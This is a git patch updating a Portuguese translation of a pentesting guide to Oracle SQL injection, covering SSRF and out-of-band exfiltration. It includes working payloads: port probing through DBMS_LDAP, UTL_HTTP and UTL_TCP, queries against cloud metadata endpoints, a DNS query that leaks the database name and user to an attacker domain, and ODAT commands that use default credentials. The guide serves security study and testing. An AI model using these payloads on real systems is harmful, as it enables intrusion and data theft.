From 7211d1b297f8cba1b54c2c6ba69daec88112844f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 00:50:34 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to p --- .../sql-injection/oracle-injection.md | 101 ++++++++++++++++-- 1 file changed, 92 insertions(+), 9 deletions(-) diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md index 4fc78489a..8cdcd6d62 100644 --- a/src/pentesting-web/sql-injection/oracle-injection.md +++ b/src/pentesting-web/sql-injection/oracle-injection.md @@ -1,4 +1,4 @@ -# Injeção Oracle +# Oracle injection {{#include ../../banners/hacktricks-training.md}} @@ -6,21 +6,21 @@ ## SSRF -Usar o Oracle para fazer requisições HTTP e DNS fora de banda está bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outras SSRF/XSPA. +Usar o Oracle para fazer requisições HTTP e DNS fora de banda está bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA. -Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rápida para testar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me apontou para [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina Ubuntu t2.large da AWS e Docker. +Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rápida para testar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me apontou para [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina Ubuntu t2.large da AWS com Docker. Eu executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` -#### Pacotes Oracle que suportam uma especificação de URL ou de Nome de Host/Número da Porta +#### Pacotes Oracle que suportam uma especificação de URL ou de Nome do Host/Número da Porta Para encontrar pacotes e funções que suportam uma especificação de host e porta, fiz uma pesquisa no [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Especificamente, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` -A pesquisa retornou os seguintes resultados (nem todos podem ser usados para realizar rede externa) +A busca retornou os seguintes resultados (nem todos podem ser usados para realizar rede externa) - DBMS_NETWORK_ACL_ADMIN - UTL_SMTP @@ -37,7 +37,7 @@ A pesquisa retornou os seguintes resultados (nem todos podem ser usados para rea - DBMS_STREAMS_ADM - UTL_HTTP -Essa pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simplesmente aponta para um [local diferente](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações externas que eu possa ter perdido. +Essa busca rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) simplesmente aponta para um [local diferente](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser explorados para fazer solicitações externas que eu possa ter perdido. De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima. @@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` -Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` mostra que a porta está fechada enquanto um valor de sessão aponta para a porta estando aberta. +Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estando aberta. **UTL_SMTP** @@ -124,7 +124,7 @@ END; utl_tcp.close_connection(c); END; ``` -Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de meta-dados da Instância de todos os provedores de nuvem, uma vez que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP. +Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de meta-dados da Instância de todos os provedores de nuvem, uma vez que o tipo de método e os cabeçalhos adicionais podem ser todos passados dentro da solicitação TCP. **UTL_HTTP e Solicitações Web** @@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta. -Outro pacote que usei no passado com sucesso variado é o [`GETCLOB()` método do tipo abstrato `HTTPURITYPE` do Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que permite interagir com uma URL e fornece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; +Outro pacote que usei no passado com sucesso variado é o [`GETCLOB()` método do tipo abstrato `HTTPURITYPE` do Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que permite interagir com uma URL e fornece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) +``` +SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; +``` +--- + +## Pacotes e Técnicas Adicionais (Oracle 19c → 23c) + +### UTL_INADDR – exfiltração baseada em DNS e descoberta de hosts + +`UTL_INADDR` expõe auxiliares simples de resolução de nomes que acionam uma consulta DNS de saída a partir do host do banco de dados. Como apenas um domínio é necessário (sem porta/ACL necessária), é um primitivo confiável para exfiltração cega quando outras chamadas de rede estão bloqueadas. +```sql +-- Leak the DB name and current user via a DNS query handled by Burp Collaborator +SELECT UTL_INADDR.get_host_address( +(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| +'.attacker.oob.server') FROM dual; +``` +`get_host_address()` retorna o IP resolvido (ou gera `ORA-29257` se a resolução falhar). O atacante só precisa monitorar a solicitação DNS de entrada no domínio controlado para confirmar a execução do código. + +### DBMS_CLOUD.SEND_REQUEST – cliente HTTP completo no Autonomous/23c + +Edições recentes centradas em nuvem (Autonomous Database, 21c/23c, 23ai) vêm com `DBMS_CLOUD`. A função `SEND_REQUEST` atua como um cliente HTTP de uso geral que suporta verbos personalizados, cabeçalhos, TLS e grandes corpos, tornando-se muito mais poderosa do que o clássico `UTL_HTTP`. +```sql +-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges +BEGIN +-- empty credential when no auth is required +DBMS_CLOUD.create_credential( +credential_name => 'NOAUTH', +username => 'ignored', +password => 'ignored'); +END; +/ + +DECLARE +resp DBMS_CLOUD_TYPES.resp; +BEGIN +resp := DBMS_CLOUD.send_request( +credential_name => 'NOAUTH', +uri => 'http://169.254.169.254/latest/meta-data/', +method => 'GET', +timeout => 3); +dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); +END; +/ +``` +Porque `SEND_REQUEST` permite URIs de destino arbitrárias, pode ser abusado via SQLi para: +1. Escaneamento de portas internas / SSRF para serviços de metadados em nuvem. +2. Exfiltração fora da banda via HTTPS (use Burp Collaborator ou um túnel `ngrok`). +3. Chamadas de retorno para servidores do atacante, mesmo quando pacotes de chamada mais antigos estão desativados por ACLs. + +ℹ️ Se você tiver apenas um 19c clássico on-prem, mas puder criar procedimentos armazenados em Java, às vezes você pode instalar `DBMS_CLOUD` do pacote do cliente OCI — útil em alguns engajamentos. + +### Automatizando a superfície de ataque com **ODAT** + +[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) acompanhou as versões modernas (testado até 19c, 5.1.1 – Abr-2022). Os módulos `–utl_http`, `–utl_tcp`, `–httpuritype` e o mais recente `–dbms_cloud` automaticamente: +* Detectam pacotes de chamada utilizáveis / concessões de ACL. +* Disparam callbacks DNS & HTTP para extração cega. +* Geram cargas SQL prontas para copiar para Burp/SQLMap. + +Exemplo: verificação rápida OOB com credenciais padrão (cuida da enumeração de ACL em segundo plano): +```bash +odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob +``` +### Restrições e contornos recentes de ACL de rede + +A Oracle apertou as ACLs de rede padrão no CPU de julho de 2023 — contas não privilegiadas agora recebem `ORA-24247: network access denied by access control list` por padrão. Dois padrões ainda permitem chamadas através de SQLi: +1. A conta alvo possui uma entrada de ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) que foi adicionada por um desenvolvedor para integrações. +2. O atacante abusa de uma rotina de direitos de definidor PL/SQL de alto privilégio (por exemplo, em uma aplicação personalizada) que *já* possui `AUTHID DEFINER` e as concessões necessárias. + +Se você encontrar `ORA-24247` durante a exploração, sempre procure por procedimentos reutilizáveis: +```sql +SELECT owner, object_name +FROM dba_objects +WHERE object_type = 'PROCEDURE' +AND authid = 'DEFINER'; +``` +(em muitas auditorias, pelo menos um procedimento de relatório/exportação tinha os direitos necessários). + +--- + +## Referências + +* Oracle Docs – descrição e exemplos do pacote `DBMS_CLOUD.SEND_REQUEST`. +* quentinhardy/odat – Ferramenta de Ataque ao Banco de Dados Oracle (última versão 5.1.1, Abr-2022). {{#include ../../banners/hacktricks-training.md}}